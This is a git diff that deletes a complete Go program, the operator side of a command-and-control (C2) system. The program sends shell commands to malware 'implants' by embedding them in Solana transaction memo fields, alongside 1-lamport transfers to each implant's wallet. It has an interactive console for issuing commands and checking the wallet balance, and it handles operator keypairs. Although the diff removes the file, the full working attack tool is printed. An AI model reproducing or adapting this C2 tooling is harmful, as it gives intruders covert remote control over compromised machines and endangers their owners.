diff --git a/c2_blockchain_memo/cmd/main.go b/c2_blockchain_memo/cmd/main.go deleted file mode 100644 index a4354f6..0000000 --- a/c2_blockchain_memo/cmd/main.go +++ /dev/null @@ -1,261 +0,0 @@ -// cmd/server/main.go — C2 Blockchain Memo Server (Operator Tool) -// -// Sends commands to implants by embedding them in Solana transaction -// memo fields. Each command is sent as a 1-lamport SOL transfer + memo -// instruction to the implant's wallet address. -// -// Usage: -// -// # With a funded keypair (Solana CLI JSON-array format): -// go run ./cmd/server --keypair ~/.config/solana/id.json --rpc devnet -// -// # Generate a fresh ephemeral keypair (no SOL — for testing): -// go run ./cmd/server -// -// Interactive commands once running: -// send -// balance -// quit - -package main - -import ( - "bufio" - "context" - "encoding/json" - "flag" - "fmt" - "log" - "os" - "strings" - - "github.com/gagliardetto/solana-go" - "github.com/gagliardetto/solana-go/programs/memo" - "github.com/gagliardetto/solana-go/programs/system" - "github.com/gagliardetto/solana-go/rpc" -) - -func main() { - var ( - keypairPath = flag.String("keypair", "", "Path to operator keypair (Solana CLI JSON array)") - rpcEndpoint = flag.String("rpc", rpc.DevNet_RPC, "RPC endpoint: mainnet-beta, devnet, testnet, or custom URL") - ) - flag.Parse() - - // Resolve named endpoints - endpoint := resolveEndpoint(*rpcEndpoint) - - // ── Load or generate operator wallet ────────────────────────────── - var operatorWallet solana.PrivateKey - var err error - - if *keypairPath != "" { - operatorWallet, err = loadKeypair(*keypairPath) - if err != nil { - log.Fatalf("Failed to load keypair from %q: %v", *keypairPath, err) - } - fmt.Printf("✅ Loaded operator wallet from %s\n", *keypairPath) - } else { - operatorWallet, err = solana.NewRandomPrivateKey() - if err != nil { - log.Fatalf("Failed to generate keypair: %v", err) - } - fmt.Println("⚠️ Generated ephemeral operator wallet (no SOL — use --keypair)") - } - - operatorPub := operatorWallet.PublicKey() - fmt.Printf("📍 Operator address: %s\n", operatorPub.String()) - fmt.Printf("🔗 RPC endpoint: %s\n\n", endpoint) - - client := rpc.New(endpoint) - ctx := context.Background() - - // ── Interactive REPL ────────────────────────────────────────────── - scanner := bufio.NewScanner(os.Stdin) - fmt.Println("━━━ C2 Blockchain Memo — Operator ━━━") - fmt.Println("Commands:") - fmt.Println(" send
Send a shell command to an implant") - fmt.Println(" balance Check operator wallet SOL balance") - fmt.Println(" quit Exit") - fmt.Println() - - for { - fmt.Print("› ") - if !scanner.Scan() { - break - } - line := strings.TrimSpace(scanner.Text()) - if line == "" { - continue - } - - parts := strings.SplitN(line, " ", 3) - switch parts[0] { - case "quit", "exit", "q": - fmt.Println("Bye.") - return - case "balance": - checkBalance(ctx, client, operatorPub) - case "send": - if len(parts) < 3 { - fmt.Println("Usage: send ") - continue - } - sendCommand(ctx, client, operatorWallet, parts[1], parts[2], endpoint) - default: - fmt.Printf("Unknown command: %q (try: send, balance, quit)\n", parts[0]) - } - } -} - -// ── Core: send a command as a memo transaction ────────────────────── - -func sendCommand( - ctx context.Context, - client *rpc.Client, - operator solana.PrivateKey, - implantAddrStr, command string, - endpoint string, -) { - implantPubkey, err := solana.PublicKeyFromBase58(implantAddrStr) - if err != nil { - log.Printf("❌ Invalid implant address %q: %v", implantAddrStr, err) - return - } - - // 1. Get latest blockhash - recent, err := client.GetLatestBlockhash(ctx, rpc.CommitmentFinalized) - if err != nil { - log.Printf("❌ Failed to get recent blockhash: %v", err) - return - } - - operatorPub := operator.PublicKey() - - // 2. Build transfer instruction (1 lamport — minimal cost, - // creates an on-chain footprint linking to the implant address) - transferIx := system.NewTransferInstruction( - 1, // lamports - operatorPub, - implantPubkey, - ).Build() - - // 3. Build memo instruction with the command text - memoIx, err := memo.NewMemoInstruction( - []byte(command), - operatorPub, - ).ValidateAndBuild() - if err != nil { - log.Printf("❌ Failed to build memo instruction: %v", err) - return - } - - // 4. Build the transaction - tx, err := solana.NewTransaction( - []solana.Instruction{transferIx, memoIx}, - recent.Value.Blockhash, - solana.TransactionPayer(operatorPub), - ) - if err != nil { - log.Printf("❌ Failed to build transaction: %v", err) - return - } - - // 5. Sign - _, err = tx.Sign(func(key solana.PublicKey) *solana.PrivateKey { - if key.Equals(operatorPub) { - return &operator - } - return nil - }) - if err != nil { - log.Printf("❌ Failed to sign transaction: %v", err) - return - } - - // 6. Send - sig, err := client.SendTransaction(ctx, tx) - if err != nil { - log.Printf("❌ Failed to send transaction: %v", err) - return - } - - clusterParam := clusterParamFromEndpoint(endpoint) - - fmt.Printf("✅ Command sent!\n") - fmt.Printf(" Signature: %s\n", sig.String()) - fmt.Printf(" Explorer: https://solscan.io/tx/%s?%s\n", sig.String(), clusterParam) - fmt.Printf(" Command: %q\n", command) - fmt.Printf(" Implant: %s\n", implantAddrStr) -} - -// ── Balance check ─────────────────────────────────────────────────── - -func checkBalance(ctx context.Context, client *rpc.Client, pubkey solana.PublicKey) { - balance, err := client.GetBalance(ctx, pubkey, rpc.CommitmentFinalized) - if err != nil { - log.Printf("❌ Failed to check balance: %v", err) - return - } - sol := float64(balance.Value) / 1e9 - fmt.Printf("💰 Balance: %.9f SOL (%d lamports)\n", sol, balance.Value) -} - -// ── Keypair loading ───────────────────────────────────────────────── - -func loadKeypair(path string) (solana.PrivateKey, error) { - data, err := os.ReadFile(path) - if err != nil { - return nil, fmt.Errorf("read file: %w", err) - } - - content := strings.TrimSpace(string(data)) - - // Base58-encoded private key string - if !strings.HasPrefix(content, "[") { - pk, err := solana.PrivateKeyFromBase58(content) - if err != nil { - return nil, fmt.Errorf("invalid base58 private key: %w", err) - } - return pk, nil - } - - // Solana CLI format: JSON integer array [12, 34, 56, ...] - var byteArr []byte - if err := json.Unmarshal([]byte(content), &byteArr); err != nil { - return nil, fmt.Errorf("JSON decode of keypair: %w", err) - } - if len(byteArr) != 64 { - return nil, fmt.Errorf("expected 64 keypair bytes, got %d", len(byteArr)) - } - - return solana.PrivateKey(byteArr), nil -} - -// ── Helpers ───────────────────────────────────────────────────────── - -func resolveEndpoint(name string) string { - switch strings.ToLower(name) { - case "mainnet", "mainnet-beta", "main": - return rpc.MainNetBeta_RPC - case "devnet", "dev": - return rpc.DevNet_RPC - case "testnet", "test": - return rpc.TestNet_RPC - default: - return name - } -} - -func clusterParamFromEndpoint(endpoint string) string { - switch { - case strings.Contains(endpoint, "mainnet"): - return "cluster=mainnet-beta" - case strings.Contains(endpoint, "devnet"): - return "cluster=devnet" - case strings.Contains(endpoint, "testnet"): - return "cluster=testnet" - default: - return "cluster=custom&customUrl=" + endpoint - } -}